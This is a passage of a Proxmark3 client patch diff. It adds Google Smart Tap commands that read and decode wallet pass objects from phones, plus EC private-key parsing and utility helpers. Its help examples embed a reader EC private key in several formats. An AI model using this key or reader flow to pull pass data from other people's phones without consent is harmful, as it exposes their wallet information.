decompress RECORD_BUNDLE payload (zlib)"); + } + goto out; + } + payload_to_parse = decompressed_payload; + payload_to_parse_len = decompressed_payload_len; +#else + PrintAndLogEx(WARNING, "RECORD_BUNDLE is compressed (0x02 flag set) but zlib is unavailable. Skipping decompression."); +#endif + } + + PrintAndLogEx(INFO, ""); + PrintAndLogInfoHeader("Service objects"); + gst_print_service_objects(payload_to_parse, payload_to_parse_len); + status = PM3_SUCCESS; + +out: +#ifdef HAVE_ZLIB + free(decompressed_payload); +#endif + DropField(); + mbedtls_ecp_keypair_free(&reader_ephemeral_key); + mbedtls_ecp_keypair_free(&longterm_key); + pcrypto_rng_free(&rng); + return status; +} + +static int CmdHFGSTInfo(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf gst info", + "Select OSE / Smart Tap applet and print capabilities.", + "hf gst info\n" + "hf gst info --select-smarttap2 yes -a"); + + void *argtable[] = { + arg_param_begin, + arg_str0(NULL, "select-smarttap2", "", "Whether to perform Smart Tap applet select (default: auto)"), + arg_lit0("a", "apdu", "Show APDU requests and responses"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + gst_select_behavior_t select_behavior = GST_SELECT_AUTO; + CLIParserOption select_options[] = { + {GST_SELECT_AUTO, "auto"}, + {GST_SELECT_YES, "yes"}, + {GST_SELECT_NO, "no"}, + {0, NULL} + }; + if (CLIGetOptionList(arg_get_str(ctx, 1), select_options, (int *)&select_behavior) != PM3_SUCCESS) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + bool apdu_logging = arg_get_lit(ctx, 2); + CLIParserFree(ctx); + + bool restore_apdu_logging = GetAPDULogging(); + SetAPDULogging(apdu_logging); + int res = gst_info(select_behavior); + SetAPDULogging(restore_apdu_logging); + return res; +} + +static int CmdHFGSTRead(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf gst read", + "Execute Google Smart Tap read flow and print parsed pass objects.", + "hf gst read --cid 20180608 --rpk gst.google.der\n" + "hf gst read --cid 13380028 --rpk gst.passkit.der\n" + "hf gst read --cid 20180608 --rpk \"-----BEGIN EC PRIVATE KEY-----\\nMHcCAQEEIIJtF+UHZ7FlsOTZ4zL40dHiAiQoT7Ta8eUKAyRucHl9oAoGCCqGSM49\\nAwEHoUQDQgAEchyXj869zfmKhRi9xP7f2AK07kEo4lE7ZlWTN14jh4YBTny+hRGR\\nXcUzevV9zSSPJlPHpqqu5pEwlv1xyFvE1w==\\n-----END EC PRIVATE KEY-----\"\n" + "hf gst read --cid 20180608 --rpk MHcCAQEEIIJtF+UHZ7FlsOTZ4zL40dHiAiQoT7Ta8eUKAyRucHl9oAoGCCqGSM49AwEHoUQDQgAEchyXj869zfmKhRi9xP7f2AK07kEo4lE7ZlWTN14jh4YBTny+hRGRXcUzevV9zSSPJlPHpqqu5pEwlv1xyFvE1w==\n" + "hf gst read --collector-id 20180608 --reader-private-key gst.google.der\n" + "hf gst read --collector-id 20180608 --reader-private-key 826d17e50767b165b0e4d9e332f8d1d1e20224284fb4daf1e50a03246e70797d"); + + void *argtable[] = { + arg_param_begin, + arg_str1("c", "collector-id,collectorid,cid", "", "Collector identifier (32-bit value)"), + arg_str1("p", "reader-private-key,readerprivkey,rpk", "", "Reader private key in PEM, PEM base64 body, DER hex, 32-byte scalar hex, or file path"), + arg_str0(NULL, "key-version,keyversion,kv", "", "Long-term key version (default: 1)"), + arg_str0(NULL, "session-id,sid", "", "Session id (8 bytes, random if omitted)"), + arg_str0(NULL, "reader-nonce,nonce", "", "Reader nonce (32 bytes, random if omitted)"), + arg_str0(NULL, "reader-ephemeral-private-key,ephemeral-privkey,epk", "", "Reader ephemeral private key (32 bytes, random if omitted)"), + arg_str0(NULL, "mode", "", "Reader mode (default: pass-over-payment)"), + arg_str0(NULL, "select-smarttap2", "", "Whether to perform Smart Tap applet select (default: auto)"), + arg_lit0(NULL, "no-live-auth", "Use zeroed handset nonce for reader signature"), + arg_lit0("a", "apdu", "Show APDU requests and responses"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + gst_read_config_t cfg; + memset(&cfg, 0, sizeof(cfg)); + cfg.key_version = 1; + cfg.mode = GST_MODE_PASS_OVER_PAYMENT; + cfg.select_behavior = GST_SELECT_AUTO; + cfg.live_authentication = true; + + char collector_id_text[64] = {0}; + int collector_id_text_len = 0; + if (CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)collector_id_text, sizeof(collector_id_text), &collector_id_text_len) != 0 || + collector_id_text_len == 0 || + parse_uint32_hex_or_dec(collector_id_text, &cfg.collector_id) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Invalid collector-id"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + + char reader_key_text[GST_MAX_PRIVATE_KEY_ARG] = {0}; + int reader_key_text_len = 0; + if (CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)reader_key_text, sizeof(reader_key_text), &reader_key_text_len) != 0 || + reader_key_text_len == 0 || + ensure_ec_private_key(reader_key_text, MBEDTLS_ECP_DP_SECP256R1, cfg.reader_private_key, sizeof(cfg.reader_private_key)) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Invalid reader-private-key format"); + PrintAndLogEx(INFO, "Accepted formats:"); + PrintAndLogEx(INFO, " 1) PEM string (BEGIN/END EC PRIVATE KEY or PRIVATE KEY)"); + PrintAndLogEx(INFO, " 2) PEM base64 body only"); + PrintAndLogEx(INFO, " 3) DER key bytes as hex"); + PrintAndLogEx(INFO, " 4) Raw 32-byte private scalar as hex"); + PrintAndLogEx(INFO, " 5) File path to a key in one of the formats above"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + + char key_version_text[64] = {0}; + int key_version_text_len = 0; + if (CLIParamStrToBuf(arg_get_str(ctx, 3), (uint8_t *)key_version_text, sizeof(key_version_text), &key_version_text_len) == 0 && + key_version_text_len > 0) { + if (parse_uint32_hex_or_dec(key_version_text, &cfg.key_version) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Invalid key-version"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + } + + int session_id_len = 0; + CLIGetHexWithReturn(ctx, 4, cfg.session_id, &session_id_len); + if (session_id_len == 8) { + cfg.have_session_id = true; + } else if (session_id_len != 0) { + PrintAndLogEx(ERR, "session-id must be 8 bytes when provided (got %d)", session_id_len); + CLIParserFree(ctx); + return PM3_EINVARG; + } + + int reader_nonce_len = 0; + CLIGetHexWithReturn(ctx, 5, cfg.reader_nonce, &reader_nonce_len); + if (reader_nonce_len == 32) { + cfg.have_reader_nonce = true; + } else if (reader_nonce_len != 0) { + PrintAndLogEx(ERR, "reader-nonce must be 32 bytes when provided (got %d)", reader_nonce_len); + CLIParserFree(ctx); + return PM3_EINVARG; + } + + int eph_priv_len = 0; + CLIGetHexWithReturn(ctx, 6, cfg.reader_ephemeral_private_key, &eph_priv_len); + if (eph_priv_len == 32) { + cfg.have_reader_ephemeral_private_key = true; + } else if (eph_priv_len != 0) { + PrintAndLogEx(ERR, "reader-ephemeral-private-key must be 32 bytes when provided (got %d)", eph_priv_len); + CLIParserFree(ctx); + return PM3_EINVARG; + } + + CLIParserOption mode_options[] = { + {GST_MODE_PASS_ONLY, "pass-only"}, + {GST_MODE_PAYMENT_ONLY, "payment-only"}, + {GST_MODE_PASS_AND_PAYMENT, "pass-and-payment"}, + {GST_MODE_PASS_OVER_PAYMENT, "pass-over-payment"}, + {0, NULL} + }; + if (CLIGetOptionList(arg_get_str(ctx, 7), mode_options, (int *)&cfg.mode) != PM3_SUCCESS) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + CLIParserOption select_options[] = { + {GST_SELECT_AUTO, "auto"}, + {GST_SELECT_YES, "yes"}, + {GST_SELECT_NO, "no"}, + {0, NULL} + }; + if (CLIGetOptionList(arg_get_str(ctx, 8), select_options, (int *)&cfg.select_behavior) != PM3_SUCCESS) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + cfg.live_authentication = !arg_get_lit(ctx, 9); + cfg.apdu_logging = arg_get_lit(ctx, 10); + + CLIParserFree(ctx); + + bool restore_apdu_logging = GetAPDULogging(); + SetAPDULogging(cfg.apdu_logging); + int res = gst_read(&cfg); + SetAPDULogging(restore_apdu_logging); + return res; +} + +static int CmdHFGSTList(const char *Cmd) { + return CmdTraceListAlias(Cmd, "hf gst", "7816"); +} + +static command_t CommandTable[] = { + {"-----------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("General") " -----------------------"}, + {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"list", CmdHFGSTList, AlwaysAvailable, "List ISO 14443A/7816 history"}, + {"-----------", CmdHelp, IfPm3Iso14443a, "--------------------- " _CYAN_("Operations") " ----------------------"}, + {"info", CmdHFGSTInfo, IfPm3Iso14443a, "Get Google Smart Tap applet information"}, + {"read", CmdHFGSTRead, IfPm3Iso14443a, "Read and decode Google Smart Tap pass objects"}, + {NULL, NULL, NULL, NULL} +}; + +int CmdHFGST(const char *Cmd) { + clearCommandBuffer(); + return CmdsParse(CommandTable, Cmd); +} + +static int CmdHelp(const char *Cmd) { + (void)Cmd; + CmdsHelp(CommandTable); + return PM3_SUCCESS; +} diff --git a/client/src/cmdhfgst.h b/client/src/cmdhfgst.h new file mode 100644 index 000000000..140689057 --- /dev/null +++ b/client/src/cmdhfgst.h @@ -0,0 +1,26 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// High frequency Google Smart Tap commands +//----------------------------------------------------------------------------- + +#ifndef CMDHFGST_H__ +#define CMDHFGST_H__ + +#include "common.h" + +int CmdHFGST(const char *Cmd); + +#endif diff --git a/client/src/crypto/libpcrypto.c b/client/src/crypto/libpcrypto.c index 9d506d8a8..ca0826eec 100644 --- a/client/src/crypto/libpcrypto.c +++ b/client/src/crypto/libpcrypto.c @@ -22,11 +22,13 @@ #include #include #include +#include #include #include #include #include #include +#include #include #include #include @@ -38,8 +40,382 @@ #include "libpcrypto.h" #include "util.h" #include "ui.h" +#include "fileutils.h" #include "math.h" +#define PCRYPTO_MAX_KEY_INPUT 8192 +#define PCRYPTO_MAX_KEY_FILE_BYTES (64 * 1024) + +int pcrypto_rng_init(pcrypto_rng_t *rng, const uint8_t *personalization, size_t personalization_len) { + if (rng == NULL || (personalization_len > 0 && personalization == NULL)) { + return PM3_EINVARG; + } + + memset(rng, 0, sizeof(*rng)); + mbedtls_entropy_init(&rng->entropy); + mbedtls_ctr_drbg_init(&rng->ctr_drbg); + + int ret = mbedtls_ctr_drbg_seed(&rng->ctr_drbg, mbedtls_entropy_func, &rng->entropy, + personalization, personalization_len); + if (ret != 0) { + PrintAndLogEx(ERR, "Failed to initialize random generator (mbedtls: %d)", ret); + mbedtls_ctr_drbg_free(&rng->ctr_drbg); + mbedtls_entropy_free(&rng->entropy); + return PM3_ESOFT; + } + + rng->seeded = true; + return PM3_SUCCESS; +} + +void pcrypto_rng_free(pcrypto_rng_t *rng) { + if (rng == NULL) { + return; + } + + mbedtls_ctr_drbg_free(&rng->ctr_drbg); + mbedtls_entropy_free(&rng->entropy); + rng->seeded = false; +} + +int pcrypto_rng_fill(pcrypto_rng_t *rng, uint8_t *out, size_t out_len) { + if (rng == NULL || out == NULL || rng->seeded == false) { + return PM3_EINVARG; + } + if (out_len == 0) { + return PM3_SUCCESS; + } + + return (mbedtls_ctr_drbg_random(&rng->ctr_drbg, out, out_len) == 0) ? PM3_SUCCESS : PM3_ESOFT; +} + +static void pcrypto_trim_ascii_inplace(char *text) { + if (text == NULL) { + return; + } + + size_t start = 0; + size_t len = strlen(text); + while (start < len && isspace((unsigned char)text[start])) { + start++; + } + while (len > start && isspace((unsigned char)text[len - 1])) { + len--; + } + + if (start > 0) { + memmove(text, text + start, len - start); + } + text[len - start] = '\0'; +} + +static void pcrypto_unescape_newlines_inplace(char *text) { + if (text == NULL) { + return; + } + + size_t read_pos = 0; + size_t write_pos = 0; + size_t len = strlen(text); + while (read_pos < len) { + if (text[read_pos] == '\\' && (read_pos + 1) < len) { + char esc = text[read_pos + 1]; + if (esc == 'n') { + text[write_pos++] = '\n'; + read_pos += 2; + continue; + } + if (esc == 'r') { + text[write_pos++] = '\r'; + read_pos += 2; + continue; + } + if (esc == 't') { + text[write_pos++] = '\t'; + read_pos += 2; + continue; + } + } + text[write_pos++] = text[read_pos++]; + } + text[write_pos] = '\0'; +} + +static int pcrypto_copy_without_whitespace(const char *src, char *dst, size_t dst_size, size_t *dst_len) { + if (src == NULL || dst == NULL || dst_len == NULL || dst_size == 0) { + return PM3_EINVARG; + } + + size_t out = 0; + for (size_t i = 0; src[i] != '\0'; i++) { + if (isspace((unsigned char)src[i])) { + continue; + } + if ((out + 1) >= dst_size) { + return PM3_EOVFLOW; + } + dst[out++] = src[i]; + } + dst[out] = '\0'; + *dst_len = out; + return PM3_SUCCESS; +} + +static int pcrypto_extract_priv_scalar_from_pk(const mbedtls_pk_context *pkctx, + mbedtls_ecp_group_id curveid, + uint8_t *out_priv, size_t out_priv_len) { + if (pkctx == NULL || out_priv == NULL || out_priv_len == 0) { + return PM3_EINVARG; + } + + mbedtls_pk_type_t pk_type = mbedtls_pk_get_type(pkctx); + if (!(pk_type == MBEDTLS_PK_ECKEY || pk_type == MBEDTLS_PK_ECKEY_DH)) { + return PM3_EINVARG; + } + + mbedtls_ecp_keypair *ec = mbedtls_pk_ec(*pkctx); + if (ec == NULL || ec->grp.id != curveid) { + return PM3_EINVARG; + } + if (mbedtls_mpi_bitlen(&ec->d) > (out_priv_len * 8U)) { + return PM3_EINVARG; + } + if (mbedtls_ecp_check_privkey(&ec->grp, &ec->d) != 0) { + return PM3_EINVARG; + } + if (mbedtls_mpi_write_binary(&ec->d, out_priv, out_priv_len) != 0) { + return PM3_ESOFT; + } + return PM3_SUCCESS; +} + +static int pcrypto_parse_ec_private_blob(const uint8_t *blob, size_t blob_len, + mbedtls_ecp_group_id curveid, + uint8_t *out_priv, size_t out_priv_len) { + if (blob == NULL || out_priv == NULL || blob_len == 0 || out_priv_len == 0) { + return PM3_EINVARG; + } + + mbedtls_pk_context pkctx; + mbedtls_pk_init(&pkctx); + + int ret = mbedtls_pk_parse_key(&pkctx, blob, blob_len, NULL, 0); + if (ret != 0) { + uint8_t *nul_terminated = calloc(blob_len + 1, sizeof(uint8_t)); + if (nul_terminated == NULL) { + mbedtls_pk_free(&pkctx); + return PM3_EMALLOC; + } + memcpy(nul_terminated, blob, blob_len); + ret = mbedtls_pk_parse_key(&pkctx, nul_terminated, blob_len + 1, NULL, 0); + free(nul_terminated); + } + + if (ret != 0) { + mbedtls_pk_free(&pkctx); + return PM3_EINVARG; + } + + int res = pcrypto_extract_priv_scalar_from_pk(&pkctx, curveid, out_priv, out_priv_len); + mbedtls_pk_free(&pkctx); + return res; +} + +static int pcrypto_parse_ec_private_base64(const char *input, + mbedtls_ecp_group_id curveid, + uint8_t *out_priv, size_t out_priv_len) { + if (input == NULL || out_priv == NULL || out_priv_len == 0) { + return PM3_EINVARG; + } + + char compact[PCRYPTO_MAX_KEY_INPUT] = {0}; + size_t compact_len = 0; + int res = pcrypto_copy_without_whitespace(input, compact, sizeof(compact), &compact_len); + if (res != PM3_SUCCESS || compact_len == 0) { + return PM3_EINVARG; + } + + size_t decoded_capacity = ((compact_len * 3) / 4) + 4; + uint8_t *decoded = calloc(decoded_capacity, sizeof(uint8_t)); + if (decoded == NULL) { + return PM3_EMALLOC; + } + + size_t decoded_len = 0; + int b64_res = mbedtls_base64_decode(decoded, decoded_capacity, &decoded_len, + (const unsigned char *)compact, compact_len); + if (b64_res != 0 || decoded_len == 0) { + free(decoded); + return PM3_EINVARG; + } + + res = pcrypto_parse_ec_private_blob(decoded, decoded_len, curveid, out_priv, out_priv_len); + free(decoded); + return res; +} + +static int pcrypto_validate_raw_scalar(const uint8_t *scalar, size_t scalar_len, mbedtls_ecp_group_id curveid) { + if (scalar == NULL || scalar_len == 0) { + return PM3_EINVARG; + } + + mbedtls_ecp_group grp; + mbedtls_mpi d; + mbedtls_ecp_group_init(&grp); + mbedtls_mpi_init(&d); + + int status = PM3_ESOFT; + if (mbedtls_ecp_group_load(&grp, curveid) != 0) { + goto out; + } + if (mbedtls_mpi_read_binary(&d, scalar, scalar_len) != 0) { + status = PM3_EINVARG; + goto out; + } + if (mbedtls_ecp_check_privkey(&grp, &d) != 0) { + status = PM3_EINVARG; + goto out; + } + status = PM3_SUCCESS; + +out: + mbedtls_mpi_free(&d); + mbedtls_ecp_group_free(&grp); + return status; +} + +static int pcrypto_parse_ec_private_text(const char *input, bool allow_file_path, + mbedtls_ecp_group_id curveid, + uint8_t *out_priv, size_t out_priv_len); + +static int pcrypto_parse_ec_private_file(const char *path, + mbedtls_ecp_group_id curveid, + uint8_t *out_priv, size_t out_priv_len) { + if (path == NULL || out_priv == NULL || out_priv_len == 0) { + return PM3_EINVARG; + } + + FILE *f = fopen(path, "rb"); + if (f == NULL) { + return PM3_EFILE; + } + + if (fseek(f, 0, SEEK_END) != 0) { + fclose(f); + return PM3_EFILE; + } + long file_len_l = ftell(f); + if (file_len_l < 0) { + fclose(f); + return PM3_EFILE; + } + if ((size_t)file_len_l > PCRYPTO_MAX_KEY_FILE_BYTES) { + fclose(f); + return PM3_EOVFLOW; + } + if (fseek(f, 0, SEEK_SET) != 0) { + fclose(f); + return PM3_EFILE; + } + + size_t file_len = (size_t)file_len_l; + uint8_t *data = calloc(file_len + 1, sizeof(uint8_t)); + if (data == NULL) { + fclose(f); + return PM3_EMALLOC; + } + size_t read_len = fread(data, 1, file_len, f); + fclose(f); + if (read_len != file_len) { + free(data); + return PM3_EFILE; + } + + int res = pcrypto_parse_ec_private_blob(data, file_len, curveid, out_priv, out_priv_len); + if (res == PM3_SUCCESS) { + free(data); + return PM3_SUCCESS; + } + + char *text = calloc(file_len + 1, sizeof(char)); + if (text == NULL) { + free(data); + return PM3_EMALLOC; + } + memcpy(text, data, file_len); + text[file_len] = '\0'; + free(data); + + res = pcrypto_parse_ec_private_text(text, false, curveid, out_priv, out_priv_len); + free(text); + return res; +} + +static int pcrypto_parse_ec_private_text(const char *input, bool allow_file_path, + mbedtls_ecp_group_id curveid, + uint8_t *out_priv, size_t out_priv_len) { + if (input == NULL || out_priv == NULL || out_priv_len == 0) { + return PM3_EINVARG; + } + + char normalized[PCRYPTO_MAX_KEY_INPUT] = {0}; + size_t input_len = strlen(input); + if (input_len >= sizeof(normalized)) { + return PM3_EOVFLOW; + } + memcpy(normalized, input, input_len + 1); + pcrypto_trim_ascii_inplace(normalized); + + if (normalized[0] == '\0') { + return PM3_EINVARG; + } + + if (allow_file_path) { + char *resolved_path = NULL; + if (searchFile(&resolved_path, RESOURCES_SUBDIR, normalized, "", true) == PM3_SUCCESS) { + int res = pcrypto_parse_ec_private_file(resolved_path, curveid, out_priv, out_priv_len); + free(resolved_path); + return res; + } + } + + // Only unescape after path resolution fails, to avoid mutating valid paths + // (for example Windows paths containing '\t', '\n' or '\r'). + pcrypto_unescape_newlines_inplace(normalized); + + uint8_t decoded[PCRYPTO_MAX_KEY_INPUT] = {0}; + int decoded_len = -1; + char compact[PCRYPTO_MAX_KEY_INPUT] = {0}; + size_t compact_len = 0; + if (pcrypto_copy_without_whitespace(normalized, compact, sizeof(compact), &compact_len) == PM3_SUCCESS && + compact_len > 0) { + decoded_len = hex_to_bytes(compact, decoded, sizeof(decoded)); + } + if (decoded_len > 0) { + if ((size_t)decoded_len == out_priv_len && + pcrypto_validate_raw_scalar(decoded, out_priv_len, curveid) == PM3_SUCCESS) { + memcpy(out_priv, decoded, out_priv_len); + return PM3_SUCCESS; + } + int res = pcrypto_parse_ec_private_blob(decoded, (size_t)decoded_len, curveid, out_priv, out_priv_len); + if (res == PM3_SUCCESS) { + return PM3_SUCCESS; + } + } + + int res = pcrypto_parse_ec_private_blob((const uint8_t *)normalized, strlen(normalized), + curveid, out_priv, out_priv_len); + if (res == PM3_SUCCESS) { + return PM3_SUCCESS; + } + + return pcrypto_parse_ec_private_base64(normalized, curveid, out_priv, out_priv_len); +} + +int ensure_ec_private_key(const char *input_or_path, mbedtls_ecp_group_id curveid, uint8_t *out_priv, size_t out_priv_len) { + return pcrypto_parse_ec_private_text(input_or_path, true, curveid, out_priv, out_priv_len); +} + void des_encrypt(void *out, const void *in, const void *key) { mbedtls_des_context ctx; mbedtls_des_setkey_enc(&ctx, key); diff --git a/client/src/crypto/libpcrypto.h b/client/src/crypto/libpcrypto.h index 7b086bf33..227cf7f5d 100644 --- a/client/src/crypto/libpcrypto.h +++ b/client/src/crypto/libpcrypto.h @@ -22,11 +22,23 @@ #include #include #include +#include +#include #include #define CRYPTO_AES_BLOCK_SIZE 16 #define CRYPTO_AES128_KEY_SIZE 16 +typedef struct { + mbedtls_entropy_context entropy; + mbedtls_ctr_drbg_context ctr_drbg; + bool seeded; +} pcrypto_rng_t; + +int pcrypto_rng_init(pcrypto_rng_t *rng, const uint8_t *personalization, size_t personalization_len); +void pcrypto_rng_free(pcrypto_rng_t *rng); +int pcrypto_rng_fill(pcrypto_rng_t *rng, uint8_t *out, size_t out_len); + void des_encrypt(void *out, const void *in, const void *key); void des_decrypt(void *out, const void *in, const void *key); void des_encrypt_ecb(void *out, const void *in, const int length, const void *key); @@ -54,6 +66,7 @@ int ecdsa_public_key_from_pk(mbedtls_pk_context *pk, mbedtls_ecp_group_id curvei int ecdsa_signature_create(mbedtls_ecp_group_id curveid, uint8_t *key_d, uint8_t *key_xy, uint8_t *input, int length, uint8_t *signature, size_t *signaturelen, bool hash); int ecdsa_signature_verify(mbedtls_ecp_group_id curveid, uint8_t *key_xy, uint8_t *input, int length, uint8_t *signature, size_t signaturelen, bool hash); int ecdsa_signature_r_s_verify(mbedtls_ecp_group_id curveid, uint8_t *key_xy, uint8_t *input, int length, uint8_t *r_s, size_t r_s_len, bool hash); +int ensure_ec_private_key(const char *input_or_path, mbedtls_ecp_group_id curveid, uint8_t *out_priv, size_t out_priv_len); char *ecdsa_get_error(int ret); diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 929eb0aa9..1bb5d9d6f 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -282,6 +282,10 @@ const static vocabulary_t vocabulary[] = { { 1, "hf gallagher diversifykey" }, { 1, "hf gallagher decode" }, { 1, "hf gallagher encode" }, + { 1, "hf gst help" }, + { 1, "hf gst list" }, + { 0, "hf gst info" }, + { 0, "hf gst read" }, { 1, "hf iclass help" }, { 1, "hf iclass list" }, { 0, "hf iclass dump" }, diff --git a/client/src/ui.c b/client/src/ui.c index c08f6808e..1a5f81a7b 100644 --- a/client/src/ui.c +++ b/client/src/ui.c @@ -232,6 +232,42 @@ void PrintAndLogOptions(const char *str[][2], size_t size, size_t space) { PrintAndLogEx(NORMAL, "%s", buff); } +void PrintAndLogInfoHeaderWithWidth(const char *title, size_t width) { + if (title == NULL) { + return; + } + + const size_t title_len = strlen(title); + if (width > (MAX_PRINT_BUFFER - 1)) { + width = MAX_PRINT_BUFFER - 1; + } + + char dashes[MAX_PRINT_BUFFER] = {0}; + memset(dashes, '-', sizeof(dashes) - 1); + + if (title_len + 2 >= width) { + PrintAndLogEx(INFO, _CYAN_("%s"), title); + return; + } + + size_t dash_count = width - (title_len + 2); + size_t left = dash_count / 2; + size_t right = dash_count - left; + if (left > (sizeof(dashes) - 1)) { + left = sizeof(dashes) - 1; + } + if (right > (sizeof(dashes) - 1)) { + right = sizeof(dashes) - 1; + } + + PrintAndLogEx(INFO, "%.*s " _CYAN_("%s") " %.*s", + (int)left, dashes, title, (int)right, dashes); +} + +void PrintAndLogInfoHeader(const char *title) { + PrintAndLogInfoHeaderWithWidth(title, 82); +} + static uint8_t PrintAndLogEx_spinidx = 0; void PrintAndLogEx(logLevel_t level, const char *fmt, ...) { diff --git a/client/src/ui.h b/client/src/ui.h index b79798862..eb8dc4a94 100644 --- a/client/src/ui.h +++ b/client/src/ui.h @@ -78,6 +78,8 @@ extern session_arg_t g_session; #define PROMPT_CLEARLINE PrintAndLogEx(INPLACE, " \r") void PrintAndLogOptions(const char *str[][2], size_t size, size_t space); void PrintAndLogEx(logLevel_t level, const char *fmt, ...); +void PrintAndLogInfoHeaderWithWidth(const char *title, size_t width); +void PrintAndLogInfoHeader(const char *title); void SetFlushAfterWrite(bool value); bool GetFlushAfterWrite(void); void memcpy_filter_ansi(void *dest, const void *src, size_t n, bool filter); diff --git a/client/src/util.c b/client/src/util.c index d9a8c49e4..0cb222326 100644 --- a/client/src/util.c +++ b/client/src/util.c @@ -27,6 +27,7 @@ #include #include #include +#include #include #include #include // Mingw @@ -672,6 +673,52 @@ int hex_to_bytes(const char *hexValue, uint8_t *bytesValue, size_t maxBytesValue return bytesValueLen; } +int parse_uint32_hex_or_dec(const char *text, uint32_t *out) { + if (text == NULL || out == NULL || text[0] == '\0') { + return PM3_EINVARG; + } + + int base = 10; + if (text[0] == '0' && (text[1] == 'x' || text[1] == 'X')) { + base = 16; + } else { + for (const char *p = text; *p; p++) { + if (isalpha((unsigned char)*p)) { + base = 16; + break; + } + } + } + + errno = 0; + char *end = NULL; + unsigned long value = strtoul(text, &end, base); + if (errno == ERANGE || end == text || end == NULL || *end != '\0' || value > UINT32_MAX) { + return PM3_EINVARG; + } + + *out = (uint32_t)value; + return PM3_SUCCESS; +} + +bool bytes_equal_not_null(const void *a, size_t a_len, const void *b, size_t b_len) { + return a_len == b_len && a != NULL && b != NULL && memcmp(a, b, a_len) == 0; +} + +int buffer_append_bytes_with_offset(uint8_t *buf, size_t buf_len, size_t *offset, const void *data, size_t data_len) { + if (buf == NULL || offset == NULL || (data_len > 0 && data == NULL)) { + return PM3_EINVARG; + } + if (*offset > buf_len || data_len > (buf_len - *offset)) { + return PM3_EOVFLOW; + } + if (data_len > 0) { + memcpy(buf + *offset, data, data_len); + *offset += data_len; + } + return PM3_SUCCESS; +} + // takes a number (uint64_t) and creates a binarray in dest. void num_to_bytebits(uint64_t n, size_t len, uint8_t *dest) { while (len--) { @@ -1368,6 +1415,19 @@ void clean_ascii(unsigned char *buf, size_t len) { } } +bool is_printable_ascii(const uint8_t *data, size_t data_len) { + if (data == NULL || data_len == 0) { + return false; + } + + for (size_t i = 0; i < data_len; i++) { + if (data[i] < 0x20 || data[i] > 0x7E) { + return false; + } + } + return true; +} + bool decode_zero_padded_ascii(const uint8_t *data, size_t data_len, char *out, size_t out_len) { if (data == NULL || out == NULL || out_len == 0) { return false; diff --git a/client/src/util.h b/client/src/util.h index 2a5250489..cb3a1555c 100644 --- a/client/src/util.h +++ b/client/src/util.h @@ -103,6 +103,9 @@ void print_buffer(const uint8_t *data, const size_t len, int level); void print_blocks(uint32_t *data, size_t len); int hex_to_bytes(const char *hexValue, uint8_t *bytesValue, size_t maxBytesValueLen); +int parse_uint32_hex_or_dec(const char *text, uint32_t *out); +bool bytes_equal_not_null(const void *a, size_t a_len, const void *b, size_t b_len); +int buffer_append_bytes_with_offset(uint8_t *buf, size_t buf_len, size_t *offset, const void *data, size_t data_len); void num_to_bytebits(uint64_t n, size_t len, uint8_t *dest); void num_to_bytebitsLSBF(uint64_t n, size_t len, uint8_t *dest); void bytes_to_bytebits(const void *src, const size_t srclen, void *dest); @@ -166,6 +169,7 @@ void strn_upper(char *s, size_t n); bool str_startswith(const char *s, const char *pre); // check for prefix in string bool str_endswith(const char *s, const char *suffix); // check for suffix in string void clean_ascii(unsigned char *buf, size_t len); +bool is_printable_ascii(const uint8_t *data, size_t data_len); bool decode_zero_padded_ascii(const uint8_t *data, size_t data_len, char *out, size_t out_len); void str_cleanrn(char *buf, size_t len); void str_creplace(char *buf, size_t len, char from, char to); diff --git a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md index be1b4e136..2f1a198ca 100644 --- a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md @@ -60,7 +60,7 @@ Install the requirements ```sh sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \ libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev \ -libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev +libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev ``` ### If you don't need... @@ -73,6 +73,9 @@ you can skip the installation of `qt6-base-dev`. 👉 If you don't need support for Python3 scripts in the Proxmark3 client, you can skip the installation of `libpython3-dev`. +👉 If you don't need support for decompressing compressed Google Smart Tap payloads in the Proxmark3 client, +you can skip the installation of `zlib1g-dev`. + 👉 If you don't need support for NFC ePaper devices, you can skip the installation of `libgd-dev`. diff --git a/doc/md/Installation_Instructions/macOS-Homebrew-Installation-Instructions.md b/doc/md/Installation_Instructions/macOS-Homebrew-Installation-Instructions.md index 0b4ea8383..021b70578 100644 --- a/doc/md/Installation_Instructions/macOS-Homebrew-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/macOS-Homebrew-Installation-Instructions.md @@ -175,9 +175,13 @@ These instructions will show how to setup the environment on OSX to the point wh 2. Install dependencies: ``` -brew install readline qt 